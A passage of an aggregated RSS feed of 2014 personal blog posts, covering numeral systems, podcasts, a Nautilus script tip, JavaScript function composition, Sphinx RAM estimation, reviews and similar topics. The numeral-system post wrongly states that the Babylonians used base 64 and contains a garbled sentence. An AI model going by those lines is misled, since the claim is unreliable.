&lt;p&gt;Binary (base 2) system has two digits, 0 and 1. We will count binary using the way we count decimal with a slight difference: we will not reset when we reach 9 but when we reach the last digit of binary, which is 1.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Base   10       2
       0        000000
       1        000001
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now we have to reset units since we have reached the last digit of our system.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Base   10       2
       0        000000
       1        000001
       2        000010
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Units were reset and the next left column was incremented by 1. Next:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Base   10       2
       0        000000
       1        000001
       2        000010
       3        000011
       4        000100
       5        000101
       6        000110
       7        000111
       8        001000
       9        001001
      10        001010
      11        001011
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Notice that it goes exactly as we said: when a column reaches max it resets and the next from the left is incremented by 1.&lt;/p&gt;
&lt;p&gt;In base 8 we would count as such:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Base   10       8
       0        000000
       1        000001
       2        000002
       3        000003
       4        000004
       5        000005
       6        000006
       7        000007
       8        000010
       9        000011
      10        000012
      11        000013
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id="33-questions"&gt;33 Questions&lt;/h3&gt;
&lt;p&gt;Now, to come back to the &lt;a href="https://github.com/MarkDunne/33-questions"&gt;33 Questions&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;In order to identify every human on Earth, we need to assign something unique to each one of them. The simplest is to assign a number. We need &lt;a href="http://www.wolframalpha.com/input/?i=world+population+2014"&gt;~7 billions&lt;/a&gt; of them. In binary, in order to represent the maximum number, we need 33 binary digits. With 32 we can represent until 4 294 967 296 numbers/humans, which is a little over 4 billion. That is not enough, so we go to 33 digits. So, by having 33 polar questions we get 33 answers for each person. We map "no" to 0 and "yes" to 1. This gives us a series of 0s and 1s, 33 of them, which we treat as a binary number. Then, we can convert this number from base 2 to base 10. The goal is from every person to have a different number, which means that the questions must be picked in such a way that no one will answer all 33 questions with the same way. The purpose of this GitHub repository is to find those questions, a very difficult task!&lt;/p&gt;
&lt;h2 id="complementary-section"&gt;Complementary section&lt;/h2&gt;
&lt;h3 id="why-units-decades-and-hundreds"&gt;Why units, decades and hundreds?&lt;/h3&gt;
&lt;p&gt;The reason that we have units, decades, hundreds, etc, in our decimal system is because these are powers of 10 and we have a base 10 system. Example for 2482.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; 2        4        8        2
 2x10^3   4x10^2   8x10^1   2x10^0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The columns are 10^3, 10^2, 10^1 and 10^0&lt;/p&gt;
&lt;p&gt;Let's suppose we have a base 8 system. This means that we have 8 digits: 0, 1, 2, 3, 4, 5, 6, 7. There the columns would be powers of 8. That is 1, 8, 64, 512, and so on. So for representing 10, we would need one from the 8s and 2 from the units, which is: 12.&lt;/p&gt;
&lt;p&gt;So 12 in base 8 is our decimal 10.&lt;/p&gt;
&lt;p&gt;10 in base 8 means that we have 1 from the 8s plus 0 from the units, which is our decimal base 8.&lt;/p&gt;
&lt;h3 id="why-10"&gt;Why 10?&lt;/h3&gt;
&lt;p&gt;I said that 10 is a balanced number for a numeral system. The balance here is between (i) the number of different digits you need to know to make up larger numbers and (ii) the number of digits needed to represent large numbers.
In our case, you need to learn 10 different digits, and then you can represent every number there is. In binary system, you need to learn only 2 digits to represent every number. The drawback here is that in binary you need many digits to represent large numbers. As we saw, in order to represent the number of 4 billions in binary you need 32 digits while in decimal you need 10 digits (4 + 9 zeros). The Babylonias had a system of base 64! That means they would need to learn 64 different symbols which would be isomorphically (one by one) mapped to the 64 digits of the numeral system. What is interesting, though, is that it is considered by &lt;a href="https://www.youtube.com/watch?v=U6xJfP7-HCc"&gt;some&lt;/a&gt; that we should have gone with a base 12 system &lt;a href="https://en.wikipedia.org/wiki/Duodecimal"&gt;Duodecimal system&lt;/a&gt;, because 12 is a &lt;a href="https://en.wikipedia.org/wiki/Superior_highly_composite_number"&gt;superior highly composite number&lt;/a&gt; meaning that it has a higher number of divisors scaled relative to the number itself than all other numbers. Also, it is noteworthy the fact that the English language has distinct words (&lt;a href="https://en.wikipedia.org/wiki/Morpheme"&gt;morphemes&lt;/a&gt;) for the extra digits of a base 12 system, that is, for eleven and twelve. We don't call them one-teen and two-teen; but we say thir-teen, four-teen, etc.&lt;/p&gt;</description><author>nutcroft</author><pubDate>Fri, 27 Jun 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://nutcroft.mataroa.blog/blog/33-questions-and-numeral-systems/</guid></item><item><title>The Great Pointless Debate</title><link>https://zacs.site/blog/the-great-pointless-debate.html</link><description>&lt;p&gt;I really have very little to say on the recent debate surrounding the future viability of podcast networks. To me, it seems a lot like the age-old flame wars comparing Macs and PCs, and the more recent and equally bombastic arguments over iOS versus Android: everyone has their own personal preference, and we must all accept that. Taken a step further, everyone has their own personal preference, we need to accept that, and no one will ever change another&amp;#8217;s opinion; it cannot be done, for there is too much evidence supporting both sides of these embittered arguments for a group of any size to overcome, no matter the length or veracity of their case. Now, that all said, I do have a few thoughts I would like to share regarding the larger argument at hand&amp;#160;&amp;#8212;&amp;#160;that is, the discussion around creating good content and getting noticed, for I firmly believe that this&amp;#160;&amp;#8212;&amp;#160;unlike its parent&amp;#160;&amp;#8212;&amp;#160;is a worthy conversation to have.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/the-great-pointless-debate.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Thu, 26 Jun 2014 10:07:38 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/the-great-pointless-debate.html</guid></item><item><title>One minute hacks: the nautilus scripts folder</title><link>https://purpleidea.com/blog/2014/06/26/one-minute-hacks-the-nautilus-scripts-folder/</link><description>&lt;p&gt;Master &lt;a href="https://en.wikipedia.org/wiki/Software_Defined_Networking"&gt;SDN&lt;/a&gt; hacker &lt;a href="https://twitter.com/guteusa"&gt;Flavio&lt;/a&gt; sent me some tunes. They were sitting on my desktop in a folder:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-fallback"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;$ ls ~/Desktop/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;uncopyrighted_tunes_from_flavio/
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;I wanted to listen them while hacking, but what was the easiest way&amp;hellip;? I wanted to use the &lt;em&gt;nautilus&lt;/em&gt; file browser to select which folder to play, and the &lt;em&gt;totem&lt;/em&gt; music/video player to do the playing.&lt;/p&gt;
&lt;p&gt;Drop a file named &lt;code&gt;totem&lt;/code&gt; into:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-fallback"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;~/.local/share/nautilus/scripts/
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;with the contents:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-bash"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #080;"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #080;"&gt;&lt;/span&gt;&lt;span style="color: #080; font-style: italic;"&gt;# o hai from purpleidea&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #a2f;"&gt;exec&lt;/span&gt; totem -- &lt;span style="color: #b44;"&gt;"&lt;/span&gt;&lt;span style="color: #b8860b;"&gt;$@&lt;/span&gt;&lt;span style="color: #b44;"&gt;"&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;and make it executable with:&lt;/p&gt;</description><author>The Technical Blog of James on purpleidea.com</author><pubDate>Thu, 26 Jun 2014 03:01:10 GMT</pubDate><guid isPermaLink="true">https://purpleidea.com/blog/2014/06/26/one-minute-hacks-the-nautilus-scripts-folder/</guid></item><item><title>2014-06-26</title><link>https://ho.dges.online/pictures/2014-06-26/</link><description/><author>ho.dges.online</author><pubDate>Thu, 26 Jun 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2014-06-26/</guid></item><item><title>Champion (Legend, #3)</title><link>https://apurva-shukla.me/bookshelf/champion-legend-3/</link><description>⭐ ⭐ ⭐ ⭐ ⭐ I absolutely loved the ending of this series. It was just so good, but in my opinion the ending was a bit cliche, yet the author…</description><author>Apurva Shukla's RSS Feed</author><pubDate>Thu, 26 Jun 2014 01:56:00 GMT</pubDate><guid isPermaLink="true">https://apurva-shukla.me/bookshelf/champion-legend-3/</guid></item><item><title>Amish Leave PA in Search of Greener, Less Touristy Pastures</title><link>http://www.npr.org/blogs/thesalt/2014/05/22/314628097/amish-leave-pa-in-search-of-greener-less-touristy-pastures</link><description>&lt;p&gt;It&amp;#8217;s sad to see tourism and capitalism ruining the way of life for a people whose traditions go back generations and hundreds of years. You might not agree with their beliefs, or may even go so far as to boldly proclaim the Amish lifestyle nothing more than a sham to avoid taxes; but regardless if your own personal opinions, I think we can all agree that this is unfortunate.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://www.npr.org/blogs/thesalt/2014/05/22/314628097/amish-leave-pa-in-search-of-greener-less-touristy-pastures"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Wed, 25 Jun 2014 13:51:08 GMT</pubDate><guid isPermaLink="true">http://www.npr.org/blogs/thesalt/2014/05/22/314628097/amish-leave-pa-in-search-of-greener-less-touristy-pastures</guid></item><item><title>The Grand Budapest Hotel</title><link>https://olshansky.info/movie/the_grand_budapest_hotel/</link><description>Olshansky's review of The Grand Budapest Hotel</description><author>🦉 olshansky 🦁</author><pubDate>Wed, 25 Jun 2014 03:27:29 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/the_grand_budapest_hotel/</guid></item><item><title>The Conjuring</title><link>https://olshansky.info/movie/the_conjuring/</link><description>Olshansky's review of The Conjuring</description><author>🦉 olshansky 🦁</author><pubDate>Wed, 25 Jun 2014 01:22:57 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/the_conjuring/</guid></item><item><title>I, Frankenstein</title><link>https://olshansky.info/movie/i_frankenstein/</link><description>Olshansky's review of I, Frankenstein</description><author>🦉 olshansky 🦁</author><pubDate>Wed, 25 Jun 2014 01:20:35 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/i_frankenstein/</guid></item><item><title>This is what Apple makes</title><link>http://peroty.com/blog/wrote-about/this-is-what-apple-makes/</link><description>&lt;p&gt;It&amp;#8217;s often said, especially by those who profess to understand Apple on a fundamental level, that the company is not in the business of making strictly hardware or software, or even iPhones and Macs. However, although that realization comes readily enough, the gap it leaves explaining what, exactly, Apple does do if not build computers and operating systems, has proven elusive at best. After WWDC though, we have another great opportunity to inspect this underlying motivation, courtesy of Ben Alexander and Carl Holscher. Carl&amp;#8217;s article is short, but that is because the point he makes is uncomplicated, and rightly so.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://peroty.com/blog/wrote-about/this-is-what-apple-makes/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 24 Jun 2014 10:18:02 GMT</pubDate><guid isPermaLink="true">http://peroty.com/blog/wrote-about/this-is-what-apple-makes/</guid></item><item><title>Functional programming in javascript: Function composition</title><link>https://danielpecos.com/2014/06/24/function-composition/</link><description>&lt;p&gt;&lt;a href="http://en.wikipedia.org/wiki/Function_composition_%28computer_science%29"&gt;&lt;strong&gt;Function composition&lt;/strong&gt;&lt;/a&gt; is one the key features (among others) of functional programming. Programming languages that offer &lt;a href="http://en.wikipedia.org/wiki/Higher-order_function"&gt;&lt;em&gt;higher order functions&lt;/em&gt;&lt;/a&gt; as a feature can potentially use function composition. But, still, programmers need to be aware of some key concepts to successfully apply this pattern in our code.&lt;/p&gt;
&lt;img alt="Composition of Functions" class="alignleft size-medium" height="162" src="https://danielpecos.com/assets/2014/06/composition-of-functions-300x162.jpg" width="300" /&gt;
&lt;p&gt;Function composition, as defined on Wikipedia, is  &lt;em&gt;an act or mechanism to combine simple &lt;a href="http://en.wikipedia.org/wiki/Subroutine" title="Subroutine"&gt;functions&lt;/a&gt; to build more complicated ones.&lt;/em&gt; In other words, we can define new functions, equivalent to the result of &lt;a href="http://en.wikipedia.org/wiki/Method_chaining"&gt;&lt;em&gt;chaining&lt;/em&gt;&lt;/a&gt; a set of given functions, so the input of function &lt;strong&gt;i&lt;/strong&gt; is the output (or result) of function &lt;strong&gt;i-1&lt;/strong&gt;. Let&amp;rsquo;s see an example in javascript.&lt;/p&gt;
&lt;p&gt;Having these two functions:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;function double(x) {
   return x*2;
}

function triple(x) {
   return x*3;
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We define &lt;em&gt;sixtimes&lt;/em&gt; as the &lt;strong&gt;composition&lt;/strong&gt; of the two previous:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;function sixtimes(x) {
   return double(triple(x));
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Obviously in this case it would have been easier just to multiply &lt;em&gt;x&lt;/em&gt; by 6 inside &lt;em&gt;sixtimes&lt;/em&gt;, but let me continue with this dumb example just to get to the concept.&lt;/p&gt;
&lt;p&gt;This pattern is going to be used widespread in functional programming, so one could define a compose function that would return a new function resulting of the composition of two given:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;function compose(f, g) {
   return function(x) {
      return g(f(x));
   }
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now, using &lt;em&gt;compose&lt;/em&gt; to define our previous function &lt;em&gt;sixtimes&lt;/em&gt;, would be as easy as:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;var sixtimes = compose(triple, double);
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Isn&amp;rsquo;t it beautiful?&lt;/p&gt;
&lt;p&gt;In following posts I will show you some gems extracted from &lt;a href="https://leanpub.com/javascript-allonge?a=3ErUYtQxnDzhImL2jSakU-"&gt;Javascript Allongé&lt;/a&gt; by &lt;a href="https://twitter.com/raganwald"&gt;Reginald Braithwaite&lt;/a&gt;, where the author explains some useful composition tips and a really nice concept he calls &lt;em&gt;Function decorators.&lt;/em&gt; (&lt;strong&gt;Update&lt;/strong&gt;: after digging a little bit, I found this concept comes from Python world, where the very syntax allows you to list decorators for functions in its definition)&lt;/p&gt;
&lt;p&gt;Until then you&amp;rsquo;re welcome to take a look at my presentation slides and code I used during a talk in a Ruby local users group (valencia.rb) comparing OOP and FP:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.slideshare.net/dpecos/20140401-oopfp-presentacion-33034962"&gt;Slides&lt;/a&gt; (mix of Spanish and English, sorry!)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/valenciarb/functional-programming"&gt;Code&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description><author>GeekWare - Daniel Pecos Martínez</author><pubDate>Tue, 24 Jun 2014 08:30:07 GMT</pubDate><guid isPermaLink="true">https://danielpecos.com/2014/06/24/function-composition/</guid></item><item><title>Chef: Movie Review</title><link>https://honestmusings.wordpress.com/2014/06/24/chef-movie-review/</link><description>Beautiful lazy shots of cream laden berries, multi-textured saucy pork&amp;#8217;s, pasta&amp;#8217;s from which dreams are woven off, slices of golden tostones and heavenly fingers of yucca. And yet Chef has nothing to do with food. It&amp;#8217;s a story of simple pleasures, of passion of passions and the art of companionship. It&amp;#8217;s not that gorgeous food &amp;#8230; &lt;a class="more-link" href="https://honestmusings.wordpress.com/2014/06/24/chef-movie-review/"&gt;Continue reading &lt;span class="screen-reader-text"&gt;Chef: Movie Review&lt;/span&gt;&lt;/a&gt;</description><author>Honest Musings</author><pubDate>Tue, 24 Jun 2014 05:32:29 GMT</pubDate><guid isPermaLink="true">https://honestmusings.wordpress.com/2014/06/24/chef-movie-review/</guid></item><item><title>Mounting SMB shares in Ubuntu</title><link>https://joshuarogers.net/articles/2014-06/mounting-smb-shares-ubuntu/</link><description>If you've spent any amount of time running a Linux machine on a Windows network, you've probably had the need to share files between the two. This seems like it should be a trivial matter, but as often as not, it seems to produce bouts of sheer insanity. The problem usually lies in the realization that Windows uses SMB and that Linux tends toward transit over SSH (rsync, scp, sftp.)</description><author>Joshua Rogers</author><pubDate>Mon, 23 Jun 2014 15:00:00 GMT</pubDate><guid isPermaLink="true">https://joshuarogers.net/articles/2014-06/mounting-smb-shares-ubuntu/</guid></item><item><title>This Week in Podcasts</title><link>https://zacs.site/blog/this-week-in-podcasts-61614.html</link><description>&lt;p&gt;Another short list for you, unfortunately; apologies. I hope that before too long, I will be able to turn out the impressive rosters of days since past and once again shine my admittedly meager spotlight on some work truly worthy of recognition. Until then, though, I have but two recommendations for you:&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/this-week-in-podcasts-61614.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Mon, 23 Jun 2014 09:50:54 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/this-week-in-podcasts-61614.html</guid></item><item><title>Cloning Similar Git Repositories</title><link>https://alanpearce.eu/post/git-cloning-similar-repositories/</link><description>Speed up cloning of similar git repositories</description><author>Alan Pearce</author><pubDate>Sun, 22 Jun 2014 11:35:24 GMT</pubDate><guid isPermaLink="true">https://alanpearce.eu/post/git-cloning-similar-repositories/</guid></item><item><title>What's the "right" PHP Framework?</title><link>https://www.brightball.com/articles/whats-the-right-php-framework</link><description>This is a presentation that I recently gave at UpstatePHP in Greenville evaluating the framework landscape in PHP. We discussed why there are so many, history, goals, benefits, concerns and ultimately a recommendation.</description><author>Brightball Articles</author><pubDate>Sun, 22 Jun 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.brightball.com/articles/whats-the-right-php-framework</guid></item><item><title>Intermedia Chart</title><link>https://mbutler.org/intermedia-chart/</link><description>In 1995, Fluxus artist Dick Higgins created the Intermedia Chart, a Venn diagram describing overlapping academic art traditions. The most important aspect of this static chart, in my opinion, were the unknown circles labeled with a question mark. To represent this motion and fluidity in a dynamic way, I created a rough interactive version using [&amp;#8230;]</description><author>mbutler</author><pubDate>Sat, 21 Jun 2014 05:11:21 GMT</pubDate><guid isPermaLink="true">https://mbutler.org/intermedia-chart/</guid></item><item><title>Screenshot Saturday 177</title><link>https://etodd.io/2014/06/20/screenshot-saturday-177/</link><description>&lt;p&gt;Our animator &lt;a class="imgScanned" href="http://vimeo.com/ayaba" rel="nofollow"&gt;Antonio&lt;/a&gt;&lt;span class="keyNavAnnotation" title="press 2 to open link"&gt; &lt;/span&gt;has been hard at work on new animations. Check it out!&lt;/p&gt;
&lt;p&gt;&lt;div class="video"&gt;&lt;video loop="loop"&gt;&lt;source src="https://etodd.io/assets/CaringAcceptableChinesecrocodilelizard.mp4" /&gt;&lt;/video&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;Guys, the level editor is really close to being done. Here's some cool features:&lt;/p&gt;
&lt;p&gt;You can link entities together. For example, you can have a door open when the player enters a trigger volume. Or have a light turn on. Or both.&lt;/p&gt;
&lt;p&gt;&lt;div class="video"&gt;&lt;video loop="loop"&gt;&lt;source src="https://etodd.io/assets/MetallicCautiousHorsechestnutleafminer.mp4" /&gt;&lt;/video&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;The UI now displays buttons for all available commands at any given moment, and their keyboard shortcuts. Different commands are available depending on what mode you're in, and what entities are selected.&lt;/p&gt;</description><author>Evan Todd</author><pubDate>Sat, 21 Jun 2014 02:54:33 GMT</pubDate><guid isPermaLink="true">https://etodd.io/2014/06/20/screenshot-saturday-177/</guid></item><item><title>Limiting access to forwarded ports in Cisco iOS</title><link>https://manuel.kiessling.net/2014/06/20/limiting-access-to-forwarded-ports-in-cisco-ios/</link><description>The following should probably be obvious, but I had a surprisingly hard time figuring out the official Cisco documentation.  The scenario is as follows: a gateway Cisco router provides internet access via NAT for, say, your office. It therefore has an external interface (called Dialer0, for example) which is connected to the uplink (this could e.g. be a DSL line), and an internal ethernet interface connected to the internal office network:   ^ | | Dialer0: 87.</description><author>Home on The Log Book of Manuel Kießling</author><pubDate>Fri, 20 Jun 2014 18:13:00 GMT</pubDate><guid isPermaLink="true">https://manuel.kiessling.net/2014/06/20/limiting-access-to-forwarded-ports-in-cisco-ios/</guid></item><item><title>BYOB - Build Your Own Blog</title><link>https://blog.samuellevy.com/post/47-byob-build-your-own-blog.html</link><description>&lt;p&gt;I am helping a couple of friends to learn how to program, and how to build things. Working through Codecademy has helped them get a grasp of the basics of syntax and problem solving, but they pretty quickly grow bored without a real goal in mind.&lt;/p&gt;&lt;p&gt;This is why I tell them to build their own blog, and why I think you should too.&lt;/p&gt;&lt;p&gt;Let's face it, you're not going to knock wordpress off it's pedestal, nor compete with blogger/tumblr/whatever other blogging platforms are popular. It's about building something for you. Something which doesn't affect everyone else, but you can play with, show off, and le…&lt;/p&gt;</description><author>Sam says you should read this</author><pubDate>Fri, 20 Jun 2014 14:21:29 GMT</pubDate><guid isPermaLink="true">https://blog.samuellevy.com/post/47-byob-build-your-own-blog.html</guid></item><item><title>The Podcast Network Glory Days</title><link>https://zacs.site/blog/the-podcast-network-glory-days.html</link><description>&lt;p&gt;Following Mike Monteiro&amp;#8217;s recent announcement that he would effectively shutter Mule Radio Syndicate due to its untenable demand on his time, many wrote short farewells to what they considered a great podcast network. Marco Arment, however, &lt;a href="http://www.marco.org/2014/05/29/mule-radio-pretty-much-dying"&gt;had something very interesting to say&lt;/a&gt; regarding the future of this now-popular business model:&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/the-podcast-network-glory-days.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Fri, 20 Jun 2014 11:29:53 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/the-podcast-network-glory-days.html</guid></item><item><title>Silicon Valley Business Journal - Best CIO - Matt Crampton</title><link>https://www.mattcrampton.com/blog/silicon_valley_business_journal_best_cio_matt_crampton/</link><description>Silicon Valley Business Journal - Best CIO: Matt Crampton On June 20, 2014 I was nominated as best CIO by Silicon Valley Business Journal Read Article The interiew is pasted below as well... Best CIO - Private Company: Finalist Matt Crampton, Chief Technology Officer &amp; Co-Founder/Gigwalk Matt Crampton’s fascination with technology all started with his first Tandy 1000 286 that his parents bought him for Christmas when he was a kid. He’s been writing software ever since: In middle school, he set up an electronic bulletin board on his home computer using a dial-up modem; in high school, he spent the bulk of his time at the computer lab; then, he went on to co-found the Kalamazoo Linux Users Group (a club with more than 100 members that still meets) before Netscape recruited him to California in 2000. Now as CIO for Gigwalk, Crampton is the driving force behind the on-demand workforce he founded in 2011 to help businesses find workers for short-term jobs. The company has 550,000 “Gigwa...</description><author>MattCrampton.com</author><pubDate>Fri, 20 Jun 2014 08:00:00 GMT</pubDate><guid isPermaLink="true">https://www.mattcrampton.com/blog/silicon_valley_business_journal_best_cio_matt_crampton/</guid></item><item><title>Sphinx and searchcode</title><link>https://boyter.org/2014/06/sphinx-searchcode/</link><description>&lt;p&gt;There is a rather nice blog post on the Sphinx Search blog about how searchcode uses sphinx. Since I wrote it I thought I would include a slight edited for clarity version below. You can read the &lt;a href="http://sphinxsearch.com/blog/2014/06/19/sphinx-searches-code-at-searchcode-com/"&gt;original here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I make it no secret that the indexer that powers &lt;em&gt;searchcode&lt;/em&gt; is &lt;a href="http://sphinxsearch.com/"&gt;Sphinx Search&lt;/a&gt; which for those who do not know is a stand alone indexing and searching engine similar to Solr.&lt;/p&gt;
&lt;p&gt;Since &lt;em&gt;searchcode&amp;rsquo;s&lt;/em&gt; inception in 2010, Sphinx has powered the search functionality and provides the raw searching and faceting functionality across 19 billion lines of source code. Each document has over 6 facets and there are over 40 million documents in the index at any time. Sphinx serves over 500,000 queries a month from this with the average query returning in less than a second.&lt;/p&gt;</description><author>Ben E. C. Boyter</author><pubDate>Fri, 20 Jun 2014 03:02:35 GMT</pubDate><guid isPermaLink="true">https://boyter.org/2014/06/sphinx-searchcode/</guid></item><item><title>Estimating Sphinx Search RAM Requirements</title><link>https://boyter.org/2014/06/estimating-sphinx-search-ram-requirements/</link><description>&lt;p&gt;If you run Sphinx Search you may want to estimate the amount of RAM that it requires in order to per-cache. This can be done by looking at the size of the spa and spi files on disk. For any Linux system you can run the following command in the directory where your sphinx index(s) are located.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;ls -la /SPHINXINDEX/|egrep "spa|spi"|awk '{ SUM += $5 } END { print SUM/1024/1024/1024 }'
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This will print out the number of gigabytes required to store the sphinx index in RAM and is useful for guessing when you need to either upgrade the machine or scale out. It tends to be accurate to within 200 megabytes or so in my experience.&lt;/p&gt;</description><author>Ben E. C. Boyter</author><pubDate>Thu, 19 Jun 2014 13:57:03 GMT</pubDate><guid isPermaLink="true">https://boyter.org/2014/06/estimating-sphinx-search-ram-requirements/</guid></item><item><title>Running a Node.js process on Debian as an init.d Service</title><link>https://thomashunter.name/posts/2014-06-19-running-a-node-js-process-on-debian-as-an-init-d-service</link><author>Thomas Hunter II</author><pubDate>Thu, 19 Jun 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://thomashunter.name/posts/2014-06-19-running-a-node-js-process-on-debian-as-an-init-d-service</guid></item><item><title>The kernel challange series: Building and booting the Linux kernel</title><link>https://trigonaminima.github.io/2014/06/build-compile-linux-kernel/</link><description>How I am becoming a Linux kernel developer (at least, I think I am). There will be a series of posts as I get ahead on my becoming a Linux kernel developer quest. These are the ones I have written yet.</description><author>Playground</author><pubDate>Thu, 19 Jun 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://trigonaminima.github.io/2014/06/build-compile-linux-kernel/</guid></item><item><title>A move and a quick Gastropoda update</title><link>https://liza.io/a-move-and-a-quick-gastropoda-update/</link><description>&lt;h2 id="moving"&gt;Moving&lt;/h2&gt;
&lt;p&gt;Buying an apartment in Sweden is refreshingly hassle-free but by no means stress-free. You find one you like online, you go to a viewing, you bid&amp;hellip;and bid&amp;hellip;and bid until you can&amp;rsquo;t bid no mo&amp;rsquo;. Alternatively, you find one you like online and just bid.&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Thu, 19 Jun 2014 00:14:10 GMT</pubDate><guid isPermaLink="true">https://liza.io/a-move-and-a-quick-gastropoda-update/</guid></item><item><title>Can I get a jump?</title><link>http://peroty.com/blog/wrote-about/can-i-get-a-jump/</link><description>&lt;p&gt;At any given time I have a multi-tool, both phillips and flathead screwdrivers, a small survival kit, and a large pocket knife on my person, plus&amp;#160;&amp;#8212;&amp;#160;obviously&amp;#160;&amp;#8212;&amp;#160;a wallet with enough cash to get me out of most situations in which that would be of any help. In my car, I keep a blanket and enough paracord to erect a small shelter, along with a number of other items that would prove quite useful in a number of different situations. And, of course, jumper cables. Ninety-nine percent of the time I will use none of these, but I wouldn&amp;#8217;t dream of leaving the house without any of then. And boy, when I actually do need any of these tools, they sure do come in handy.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://peroty.com/blog/wrote-about/can-i-get-a-jump/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Thu, 19 Jun 2014 00:02:23 GMT</pubDate><guid isPermaLink="true">http://peroty.com/blog/wrote-about/can-i-get-a-jump/</guid></item><item><title>It's Really Hard to Be a Good Guy With a Gun</title><link>http://gawker.com/its-really-hard-to-be-a-good-guy-with-a-gun-1588660306</link><description>&lt;p&gt;Fantastic, even-handed look at the often politically-charged debate surrounding gun control in America. I personally believe, like Adam Weinstein, that everyone deserves to protect themselves with the tool that they deem appropriate. However, he does raise quite a few great points and asks a number of very difficult questions that have made me really examine my point of view on this subject like no other piece of this genre ever has. And that, regardless of which side of the issue you fall on, is real, tangible progress. About time.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://gawker.com/its-really-hard-to-be-a-good-guy-with-a-gun-1588660306"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 17 Jun 2014 09:42:21 GMT</pubDate><guid isPermaLink="true">http://gawker.com/its-really-hard-to-be-a-good-guy-with-a-gun-1588660306</guid></item><item><title>Microsoft’s New Running Shoes</title><link>https://nicolaiarocci.com/microsofts-new-running-shoes/</link><description>&lt;blockquote&gt;
&lt;p&gt;When Ballmer famously said, “Linux is a cancer that attaches itself in an intellectual property sense to everything it touches,” it was fair to characterize Microsoft’s approach to open source as hostile. But over time, forces within Microsoft pushed to change this attitude. Many groups inside of Microsoft continue to see the customer and business value in fostering, rather than fighting, OSS.&lt;/p&gt;&lt;/blockquote&gt;
